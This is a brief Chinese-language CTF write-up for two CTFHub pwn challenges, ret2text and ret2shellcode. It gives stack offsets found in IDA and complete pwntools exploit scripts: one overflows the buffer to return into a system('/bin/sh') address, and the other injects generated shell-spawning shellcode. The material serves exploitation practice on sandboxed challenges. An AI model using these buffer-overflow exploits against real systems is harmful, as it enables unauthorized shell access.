ret2text
被ida演了一波,gets不给参数,**********************
后来重新打开一遍就有了
给了system('/bin/sh')位置是0x4007B8
exp:
from pwn import * #pwntools
sh=remote("challenge-748ffa23bde40cef.sandbox.ctfhub.com",27960)
#sh = process("pwn2") #运行起来
getshell = 0x4007b8 #getshell地址 在IDA中查看
payload = b'a' * (0x78) +p64(getshell) #注意b 和 p32(转成32位小段序)
sh.sendline(payload) #传递
sh.interactive() #切换成交互模式
ret2shellcode
ida打开查看main函数,read处有栈溢出,buf对rbp的偏移量是0x10,宽度是8,返回地址是8
0x10==>16 +8 ==>24
exp:
from pwn import *
import re
#host = 'challenge-73515f640e7d1aa5.sandbox.ctfhub.com'
#port = 36434
#p = connect(host,port) #远程连接
p = process("./pwn-ret2shellcode") #本地运行
buf_addr = p.recvuntil("]") #令buf_addr为只到]出现的时候的值
buf_addr = int(buf_addr[-15: -1], 16) # 截取buf的地址
shellcode_addr = buf_addr + 32 # shellcode 的地址 = buf与rbp的距离16 + rbp的宽度8 + 返回地址的长度8
shellcode = asm(shellcraft.sh()) #生成shellcode
payload = b'a' * 24 + p64(shellcode_addr) + shellcode
p.recv()
p.sendline(payload)
p.interactive()